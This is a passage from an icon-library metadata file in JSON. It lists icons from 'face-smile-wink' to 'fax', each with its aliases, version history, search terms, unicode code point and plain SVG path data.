3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0 0 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-smile-wink": {
    "aliases": {
      "names": ["smile-wink"],
      "unicodes": {
        "composite": ["1f609"],
        "secondary": ["10f4da"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "emoticon",
        "face",
        "happy",
        "hint",
        "joke",
        "wink",
        "winking face"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f4da",
    "label": "Face Smile Wink",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM164.1 325.5C182 346.2 212.6 368 256 368s74-21.8 91.9-42.5c5.8-6.7 15.9-7.4 22.6-1.6s7.4 15.9 1.6 22.6C349.8 372.1 311.1 400 256 400s-93.8-27.9-116.1-53.5c-5.8-6.7-5.1-16.8 1.6-22.6s16.8-5.1 22.6 1.6zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm156.4 25.6c-5.3 7.1-15.3 8.5-22.4 3.2s-8.5-15.3-3.2-22.4c30.4-40.5 91.2-40.5 121.6 0c5.3 7.1 3.9 17.1-3.2 22.4s-17.1 3.9-22.4-3.2c-17.6-23.5-52.8-23.5-70.4 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM164.1 325.5C182 346.2 212.6 368 256 368s74-21.8 91.9-42.5c5.8-6.7 15.9-7.4 22.6-1.6s7.4 15.9 1.6 22.6C349.8 372.1 311.1 400 256 400s-93.8-27.9-116.1-53.5c-5.8-6.7-5.1-16.8 1.6-22.6s16.8-5.1 22.6 1.6zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm156.4 25.6c-5.3 7.1-15.3 8.5-22.4 3.2s-8.5-15.3-3.2-22.4c30.4-40.5 91.2-40.5 121.6 0c5.3 7.1 3.9 17.1-3.2 22.4s-17.1 3.9-22.4-3.2c-17.6-23.5-52.8-23.5-70.4 0z"
      },
      "regular": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm177.6 62.1C192.8 334.5 218.8 352 256 352s63.2-17.5 78.4-33.9c9-9.7 24.2-10.4 33.9-1.4s10.4 24.2 1.4 33.9c-22 23.8-60 49.4-113.6 49.4s-91.7-25.5-113.6-49.4c-9-9.7-8.4-24.9 1.4-33.9s24.9-8.4 33.9 1.4zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm165.8 21.7c-7.6 8.1-20.2 8.5-28.3 .9s-8.5-20.2-.9-28.3c14.5-15.5 35.2-22.3 54.6-22.3s40.1 6.8 54.6 22.3c7.6 8.1 7.1 20.7-.9 28.3s-20.7 7.1-28.3-.9c-5.5-5.8-14.8-9.7-25.4-9.7s-19.9 3.8-25.4 9.7z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm177.6 62.1C192.8 334.5 218.8 352 256 352s63.2-17.5 78.4-33.9c9-9.7 24.2-10.4 33.9-1.4s10.4 24.2 1.4 33.9c-22 23.8-60 49.4-113.6 49.4s-91.7-25.5-113.6-49.4c-9-9.7-8.4-24.9 1.4-33.9s24.9-8.4 33.9 1.4zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm165.8 21.7c-7.6 8.1-20.2 8.5-28.3 .9s-8.5-20.2-.9-28.3c14.5-15.5 35.2-22.3 54.6-22.3s40.1 6.8 54.6 22.3c7.6 8.1 7.1 20.7-.9 28.3s-20.7 7.1-28.3-.9c-5.5-5.8-14.8-9.7-25.4-9.7s-19.9 3.8-25.4 9.7z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-surprise": {
    "aliases": {
      "names": ["surprise"],
      "unicodes": {
        "composite": ["1f62e"],
        "secondary": ["10f5c2"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "emoticon",
        "face",
        "face with open mouth",
        "mouth",
        "open",
        "shocked",
        "sympathy"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f5c2",
    "label": "Face Surprise",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM176.4 176a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm128 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM256 288a64 64 0 1 1 0 128 64 64 0 1 1 0-128z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM176.4 176a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm128 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM256 288a64 64 0 1 1 0 128 64 64 0 1 1 0-128z"
      },
      "regular": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm176.4-80a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm128 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM256 288a64 64 0 1 1 0 128 64 64 0 1 1 0-128z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm176.4-80a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm128 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM256 288a64 64 0 1 1 0 128 64 64 0 1 1 0-128z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-tired": {
    "aliases": {
      "names": ["tired"],
      "unicodes": {
        "composite": ["1f62b"],
        "secondary": ["10f5c8"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "angry",
        "emoticon",
        "face",
        "grumpy",
        "tired",
        "tired face",
        "upset"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f5c8",
    "label": "Face Tired",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM164.7 328.7c22-22 53.9-40.7 91.3-40.7s69.3 18.7 91.3 40.7c11.1 11.1 20.1 23.4 26.4 35.4c6.2 11.7 10.3 24.4 10.3 35.9c0 5.2-2.6 10.2-6.9 13.2s-9.8 3.7-14.7 1.8l-20.5-7.7c-26.9-10.1-55.5-15.3-84.3-15.3h-3.2c-28.8 0-57.3 5.2-84.3 15.3L149.6 415c-4.9 1.8-10.4 1.2-14.7-1.8s-6.9-7.9-6.9-13.2c0-11.6 4.2-24.2 10.3-35.9c6.3-12 15.3-24.3 26.4-35.4zm-31.2-182l89.9 47.9c10.7 5.7 10.7 21.1 0 26.8l-89.9 47.9c-7.9 4.2-17.5-1.5-17.5-10.5c0-2.8 1-5.5 2.8-7.6l36-43.2-36-43.2c-1.8-2.1-2.8-4.8-2.8-7.6c0-9 9.6-14.7 17.5-10.5zM396 157.1c0 2.8-1 5.5-2.8 7.6l-36 43.2 36 43.2c1.8 2.1 2.8 4.8 2.8 7.6c0 9-9.6 14.7-17.5 10.5l-89.9-47.9c-10.7-5.7-10.7-21.1 0-26.8l89.9-47.9c7.9-4.2 17.5 1.5 17.5 10.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM164.7 328.7c22-22 53.9-40.7 91.3-40.7s69.3 18.7 91.3 40.7c11.1 11.1 20.1 23.4 26.4 35.4c6.2 11.7 10.3 24.4 10.3 35.9c0 5.2-2.6 10.2-6.9 13.2s-9.8 3.7-14.7 1.8l-20.5-7.7c-26.9-10.1-55.5-15.3-84.3-15.3h-3.2c-28.8 0-57.3 5.2-84.3 15.3L149.6 415c-4.9 1.8-10.4 1.2-14.7-1.8s-6.9-7.9-6.9-13.2c0-11.6 4.2-24.2 10.3-35.9c6.3-12 15.3-24.3 26.4-35.4zm-31.2-182l89.9 47.9c10.7 5.7 10.7 21.1 0 26.8l-89.9 47.9c-7.9 4.2-17.5-1.5-17.5-10.5c0-2.8 1-5.5 2.8-7.6l36-43.2-36-43.2c-1.8-2.1-2.8-4.8-2.8-7.6c0-9 9.6-14.7 17.5-10.5zM396 157.1c0 2.8-1 5.5-2.8 7.6l-36 43.2 36 43.2c1.8 2.1 2.8 4.8 2.8 7.6c0 9-9.6 14.7-17.5 10.5l-89.9-47.9c-10.7-5.7-10.7-21.1 0-26.8l89.9-47.9c7.9-4.2 17.5 1.5 17.5 10.5z"
      },
      "regular": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm176.5 64.3C196.1 302.1 223.8 288 256 288s59.9 14.1 79.5 32.3C354.5 338.1 368 362 368 384c0 5.4-2.7 10.4-7.2 13.4s-10.2 3.4-15.2 1.3l-17.2-7.5c-22.8-10-47.5-15.1-72.4-15.1s-49.6 5.2-72.4 15.1l-17.2 7.5c-4.9 2.2-10.7 1.7-15.2-1.3s-7.2-8-7.2-13.4c0-22 13.5-45.9 32.5-63.7zm-43-173.6l89.9 47.9c10.7 5.7 10.7 21.1 0 26.8l-89.9 47.9c-7.9 4.2-17.5-1.5-17.5-10.5c0-2.8 1-5.5 2.8-7.6l36-43.2-36-43.2c-1.8-2.1-2.8-4.8-2.8-7.6c0-9 9.6-14.7 17.5-10.5zM396 157.1c0 2.8-1 5.5-2.8 7.6l-36 43.2 36 43.2c1.8 2.1 2.8 4.8 2.8 7.6c0 9-9.6 14.7-17.5 10.5l-89.9-47.9c-10.7-5.7-10.7-21.1 0-26.8l89.9-47.9c7.9-4.2 17.5 1.5 17.5 10.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm176.5 64.3C196.1 302.1 223.8 288 256 288s59.9 14.1 79.5 32.3C354.5 338.1 368 362 368 384c0 5.4-2.7 10.4-7.2 13.4s-10.2 3.4-15.2 1.3l-17.2-7.5c-22.8-10-47.5-15.1-72.4-15.1s-49.6 5.2-72.4 15.1l-17.2 7.5c-4.9 2.2-10.7 1.7-15.2-1.3s-7.2-8-7.2-13.4c0-22 13.5-45.9 32.5-63.7zm-43-173.6l89.9 47.9c10.7 5.7 10.7 21.1 0 26.8l-89.9 47.9c-7.9 4.2-17.5-1.5-17.5-10.5c0-2.8 1-5.5 2.8-7.6l36-43.2-36-43.2c-1.8-2.1-2.8-4.8-2.8-7.6c0-9 9.6-14.7 17.5-10.5zM396 157.1c0 2.8-1 5.5-2.8 7.6l-36 43.2 36 43.2c1.8 2.1 2.8 4.8 2.8 7.6c0 9-9.6 14.7-17.5 10.5l-89.9-47.9c-10.7-5.7-10.7-21.1 0-26.8l89.9-47.9c7.9-4.2 17.5 1.5 17.5 10.5z"
      }
    },
    "free": ["regular", "solid"]
  },
  "facebook": {
    "aliases": {
      "unicodes": {
        "composite": ["f230"]
      }
    },
    "changes": ["2.0.0", "5.0.0", "5.8.2"],
    "ligatures": [],
    "search": {
      "terms": ["facebook-official", "social network"]
    },
    "styles": ["brands"],
    "unicode": "f09a",
    "label": "Facebook",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014466,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M504 256C504 119 393 8 256 8S8 119 8 256c0 123.78 90.69 226.38 209.25 245V327.69h-63V256h63v-54.64c0-62.15 37-96.48 93.67-96.48 27.14 0 55.52 4.84 55.52 4.84v61h-31.28c-30.8 0-40.41 19.12-40.41 38.73V256h68.78l-11 71.69h-57.78V501C413.31 482.38 504 379.78 504 256z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M504 256C504 119 393 8 256 8S8 119 8 256c0 123.78 90.69 226.38 209.25 245V327.69h-63V256h63v-54.64c0-62.15 37-96.48 93.67-96.48 27.14 0 55.52 4.84 55.52 4.84v61h-31.28c-30.8 0-40.41 19.12-40.41 38.73V256h68.78l-11 71.69h-57.78V501C413.31 482.38 504 379.78 504 256z"
      }
    },
    "free": ["brands"]
  },
  "facebook-f": {
    "changes": ["5.0.0", "5.8.2"],
    "ligatures": [],
    "search": {
      "terms": ["facebook"]
    },
    "styles": ["brands"],
    "unicode": "f39e",
    "label": "Facebook F",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014470,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M279.14 288l14.22-92.66h-88.91v-60.13c0-25.35 12.42-50.06 52.24-50.06h40.42V6.26S260.43 0 225.36 0c-73.22 0-121.08 44.38-121.08 124.72v70.62H22.89V288h81.39v224h100.17V288z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M279.14 288l14.22-92.66h-88.91v-60.13c0-25.35 12.42-50.06 52.24-50.06h40.42V6.26S260.43 0 225.36 0c-73.22 0-121.08 44.38-121.08 124.72v70.62H22.89V288h81.39v224h100.17V288z"
      }
    },
    "free": ["brands"]
  },
  "facebook-messenger": {
    "changes": ["5.0.0", "5.8.2", "5.9.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f39f",
    "label": "Facebook Messenger",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014468,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256.55 8C116.52 8 8 110.34 8 248.57c0 72.3 29.71 134.78 78.07 177.94 8.35 7.51 6.63 11.86 8.05 58.23A19.92 19.92 0 0 0 122 502.31c52.91-23.3 53.59-25.14 62.56-22.7C337.85 521.8 504 423.7 504 248.57 504 110.34 396.59 8 256.55 8zm149.24 185.13l-73 115.57a37.37 37.37 0 0 1-53.91 9.93l-58.08-43.47a15 15 0 0 0-18 0l-78.37 59.44c-10.46 7.93-24.16-4.6-17.11-15.67l73-115.57a37.36 37.36 0 0 1 53.91-9.93l58.06 43.46a15 15 0 0 0 18 0l78.41-59.38c10.44-7.98 24.14 4.54 17.09 15.62z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256.55 8C116.52 8 8 110.34 8 248.57c0 72.3 29.71 134.78 78.07 177.94 8.35 7.51 6.63 11.86 8.05 58.23A19.92 19.92 0 0 0 122 502.31c52.91-23.3 53.59-25.14 62.56-22.7C337.85 521.8 504 423.7 504 248.57 504 110.34 396.59 8 256.55 8zm149.24 185.13l-73 115.57a37.37 37.37 0 0 1-53.91 9.93l-58.08-43.47a15 15 0 0 0-18 0l-78.37 59.44c-10.46 7.93-24.16-4.6-17.11-15.67l73-115.57a37.36 37.36 0 0 1 53.91-9.93l58.06 43.46a15 15 0 0 0 18 0l78.41-59.38c10.44-7.98 24.14 4.54 17.09 15.62z"
      }
    },
    "free": ["brands"]
  },
  "fan": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f863"]
      }
    },
    "changes": ["5.9.0", "5.10.1", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["ac", "air conditioning", "blade", "blower", "cool", "hot"]
    },
    "styles": ["solid"],
    "unicode": "f863",
    "label": "Fan",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767441,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M258.6 0c-1.7 0-3.4 .1-5.1 .5C168 17 115.6 102.3 130.5 189.3c2.9 17 8.4 32.9 15.9 47.4L32 224H29.4C13.2 224 0 237.2 0 253.4c0 1.7 .1 3.4 .5 5.1C17 344 102.3 396.4 189.3 381.5c17-2.9 32.9-8.4 47.4-15.9L224 480v2.6c0 16.2 13.2 29.4 29.4 29.4c1.7 0 3.4-.1 5.1-.5C344 495 396.4 409.7 381.5 322.7c-2.9-17-8.4-32.9-15.9-47.4L480 288h2.6c16.2 0 29.4-13.2 29.4-29.4c0-1.7-.1-3.4-.5-5.1C495 168 409.7 115.6 322.7 130.5c-17 2.9-32.9 8.4-47.4 15.9L288 32V29.4C288 13.2 274.8 0 258.6 0zM256 224a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M258.6 0c-1.7 0-3.4 .1-5.1 .5C168 17 115.6 102.3 130.5 189.3c2.9 17 8.4 32.9 15.9 47.4L32 224H29.4C13.2 224 0 237.2 0 253.4c0 1.7 .1 3.4 .5 5.1C17 344 102.3 396.4 189.3 381.5c17-2.9 32.9-8.4 47.4-15.9L224 480v2.6c0 16.2 13.2 29.4 29.4 29.4c1.7 0 3.4-.1 5.1-.5C344 495 396.4 409.7 381.5 322.7c-2.9-17-8.4-32.9-15.9-47.4L480 288h2.6c16.2 0 29.4-13.2 29.4-29.4c0-1.7-.1-3.4-.5-5.1C495 168 409.7 115.6 322.7 130.5c-17 2.9-32.9 8.4-47.4 15.9L288 32V29.4C288 13.2 274.8 0 258.6 0zM256 224a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "fantasy-flight-games": {
    "changes": ["5.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Dungeons & Dragons",
        "d&d",
        "dnd",
        "fantasy",
        "game",
        "gaming",
        "tabletop"
      ]
    },
    "styles": ["brands"],
    "unicode": "f6dc",
    "label": "Fantasy Flight-games",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014463,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 32.86L32.86 256 256 479.14 479.14 256 256 32.86zM88.34 255.83c1.96-2 11.92-12.3 96.49-97.48 41.45-41.75 86.19-43.77 119.77-18.69 24.63 18.4 62.06 58.9 62.15 59 .68.74 1.07 2.86.58 3.38-11.27 11.84-22.68 23.54-33.5 34.69-34.21-32.31-40.52-38.24-48.51-43.95-17.77-12.69-41.4-10.13-56.98 5.1-2.17 2.13-1.79 3.43.12 5.35 2.94 2.95 28.1 28.33 35.09 35.78-11.95 11.6-23.66 22.97-35.69 34.66-12.02-12.54-24.48-25.53-36.54-38.11-21.39 21.09-41.69 41.11-61.85 60.99zm234.82 101.6c-35.49 35.43-78.09 38.14-106.99 20.47-22.08-13.5-39.38-32.08-72.93-66.84 12.05-12.37 23.79-24.42 35.37-36.31 33.02 31.91 37.06 36.01 44.68 42.09 18.48 14.74 42.52 13.67 59.32-1.8 3.68-3.39 3.69-3.64.14-7.24-10.59-10.73-21.19-21.44-31.77-32.18-1.32-1.34-3.03-2.48-.8-4.69 10.79-10.71 21.48-21.52 32.21-32.29.26-.26.65-.38 1.91-1.07 12.37 12.87 24.92 25.92 37.25 38.75 21.01-20.73 41.24-40.68 61.25-60.42 13.68 13.4 27.13 26.58 40.86 40.03-20.17 20.86-81.68 82.71-100.5 101.5zM256 0L0 256l256 256 256-256L256 0zM16 256L256 16l240 240-240 240L16 256z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 32.86L32.86 256 256 479.14 479.14 256 256 32.86zM88.34 255.83c1.96-2 11.92-12.3 96.49-97.48 41.45-41.75 86.19-43.77 119.77-18.69 24.63 18.4 62.06 58.9 62.15 59 .68.74 1.07 2.86.58 3.38-11.27 11.84-22.68 23.54-33.5 34.69-34.21-32.31-40.52-38.24-48.51-43.95-17.77-12.69-41.4-10.13-56.98 5.1-2.17 2.13-1.79 3.43.12 5.35 2.94 2.95 28.1 28.33 35.09 35.78-11.95 11.6-23.66 22.97-35.69 34.66-12.02-12.54-24.48-25.53-36.54-38.11-21.39 21.09-41.69 41.11-61.85 60.99zm234.82 101.6c-35.49 35.43-78.09 38.14-106.99 20.47-22.08-13.5-39.38-32.08-72.93-66.84 12.05-12.37 23.79-24.42 35.37-36.31 33.02 31.91 37.06 36.01 44.68 42.09 18.48 14.74 42.52 13.67 59.32-1.8 3.68-3.39 3.69-3.64.14-7.24-10.59-10.73-21.19-21.44-31.77-32.18-1.32-1.34-3.03-2.48-.8-4.69 10.79-10.71 21.48-21.52 32.21-32.29.26-.26.65-.38 1.91-1.07 12.37 12.87 24.92 25.92 37.25 38.75 21.01-20.73 41.24-40.68 61.25-60.42 13.68 13.4 27.13 26.58 40.86 40.03-20.17 20.86-81.68 82.71-100.5 101.5zM256 0L0 256l256 256 256-256L256 0zM16 256L256 16l240 240-240 240L16 256z"
      }
    },
    "free": ["brands"]
  },
  "faucet": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e005"]
      }
    },
    "changes": ["5.12.0", "5.14.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "covid-19",
        "drinking",
        "drip",
        "house",
        "hygiene",
        "kitchen",
        "potable",
        "potable water",
        "sanitation",
        "sink",
        "water"
      ]
    },
    "styles": ["solid"],
    "unicode": "e005",
    "label": "Faucet",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M192 96v12L96 96c-17.7 0-32 14.3-32 32s14.3 32 32 32l96-12 31-3.9 1-.1 1 .1 31 3.9 96 12c17.7 0 32-14.3 32-32s-14.3-32-32-32l-96 12V96c0-17.7-14.3-32-32-32s-32 14.3-32 32zM32 256c-17.7 0-32 14.3-32 32v64c0 17.7 14.3 32 32 32H132.1c20.2 29 53.9 48 91.9 48s71.7-19 91.9-48H352c17.7 0 32 14.3 32 32s14.3 32 32 32h64c17.7 0 32-14.3 32-32c0-88.4-71.6-160-160-160H320l-22.6-22.6c-6-6-14.1-9.4-22.6-9.4H256V180.2l-32-4-32 4V224H173.3c-8.5 0-16.6 3.4-22.6 9.4L128 256H32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M192 96v12L96 96c-17.7 0-32 14.3-32 32s14.3 32 32 32l96-12 31-3.9 1-.1 1 .1 31 3.9 96 12c17.7 0 32-14.3 32-32s-14.3-32-32-32l-96 12V96c0-17.7-14.3-32-32-32s-32 14.3-32 32zM32 256c-17.7 0-32 14.3-32 32v64c0 17.7 14.3 32 32 32H132.1c20.2 29 53.9 48 91.9 48s71.7-19 91.9-48H352c17.7 0 32 14.3 32 32s14.3 32 32 32h64c17.7 0 32-14.3 32-32c0-88.4-71.6-160-160-160H320l-22.6-22.6c-6-6-14.1-9.4-22.6-9.4H256V180.2l-32-4-32 4V224H173.3c-8.5 0-16.6 3.4-22.6 9.4L128 256H32z"
      }
    },
    "free": ["solid"]
  },
  "faucet-drip": {
    "aliases": {
      "unicodes": {
        "composite": ["1f6b0"],
        "secondary": ["10e006"]
      }
    },
    "changes": [
      "5.12.0",
      "5.14.0",
      "6.0.0-beta1",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "drinking",
        "drip",
        "house",
        "hygiene",
        "kitchen",
        "potable",
        "potable water",
        "sanitation",
        "sink",
        "water"
      ]
    },
    "styles": ["solid"],
    "unicode": "e006",
    "label": "Faucet Drip",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M224 0c17.7 0 32 14.3 32 32V44l96-12c17.7 0 32 14.3 32 32s-14.3 32-32 32L256 84l-31-3.9-1-.1-1 .1L192 84 96 96C78.3 96 64 81.7 64 64s14.3-32 32-32l96 12V32c0-17.7 14.3-32 32-32zM0 224c0-17.7 14.3-32 32-32h96l22.6-22.6c6-6 14.1-9.4 22.6-9.4H192V116.2l32-4 32 4V160h18.7c8.5 0 16.6 3.4 22.6 9.4L320 192h32c88.4 0 160 71.6 160 160c0 17.7-14.3 32-32 32H416c-17.7 0-32-14.3-32-32s-14.3-32-32-32H315.9c-20.2 29-53.9 48-91.9 48s-71.7-19-91.9-48H32c-17.7 0-32-14.3-32-32V224zM436.8 423.4c1.9-4.5 6.3-7.4 11.2-7.4s9.2 2.9 11.2 7.4l18.2 42.4c1.8 4.1 2.7 8.6 2.7 13.1V480c0 17.7-14.3 32-32 32s-32-14.3-32-32v-1.2c0-4.5 .9-8.9 2.7-13.1l18.2-42.4z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M224 0c17.7 0 32 14.3 32 32V44l96-12c17.7 0 32 14.3 32 32s-14.3 32-32 32L256 84l-31-3.9-1-.1-1 .1L192 84 96 96C78.3 96 64 81.7 64 64s14.3-32 32-32l96 12V32c0-17.7 14.3-32 32-32zM0 224c0-17.7 14.3-32 32-32h96l22.6-22.6c6-6 14.1-9.4 22.6-9.4H192V116.2l32-4 32 4V160h18.7c8.5 0 16.6 3.4 22.6 9.4L320 192h32c88.4 0 160 71.6 160 160c0 17.7-14.3 32-32 32H416c-17.7 0-32-14.3-32-32s-14.3-32-32-32H315.9c-20.2 29-53.9 48-91.9 48s-71.7-19-91.9-48H32c-17.7 0-32-14.3-32-32V224zM436.8 423.4c1.9-4.5 6.3-7.4 11.2-7.4s9.2 2.9 11.2 7.4l18.2 42.4c1.8 4.1 2.7 8.6 2.7 13.1V480c0 17.7-14.3 32-32 32s-32-14.3-32-32v-1.2c0-4.5 .9-8.9 2.7-13.1l18.2-42.4z"
      }
    },
    "free": ["solid"]
  },
  "fax": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4e0", "1f5b7"],
        "secondary": ["10f1ac"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "5.3.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Fax Icon",
        "business",
        "communicate",
        "copy",
        "facsimile",
        "fax",
        "fax machine",
        "send"
      ]
    },
    "styles": ["solid"],
    "unicode": "f1ac",
    "label": "Fax",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M128 64v96h64V64H386.7L416 93.3V160h64V93.3c0-17-6.7-33.3-18.7-45.3L432 18.7C420 6.7 403.7 0 386.7 0H192c-35.3 0-64 28.7-64 64zM0 160V480c0 17.7 14.3 32 32 32H64c17.7 0 32-14.3 32-32V160c0-17.7-14.3-32-32-32H32c-17.7 0-32 14.3-32 32zm480 32H128V480c0 17.7 14.3 32 32 32H480c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM256 256a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm96 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm32 96a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM224 416a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M128 64v96h64V64H386.7L416 93.3V160h64V93.3c0-17-6.7-33.3-18.7-45.3L432 18.7C420 6.7 403.7 0 386.7 0H192c-35.3 0-64 28.7-64 64zM0 160V480c0 17.7 14.3 32 32 32H64c17.7 0 32-14.3 32-32V160c0-17.7-14.3-32-32-32H32c-17.7 0-32 14.3-32 32zm480 32H128V480c0 17.7 14.3 32 32 32H480c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM256 256a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm96 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm32 96a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM224 416a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z"
      }
    },
    "free": ["solid"]
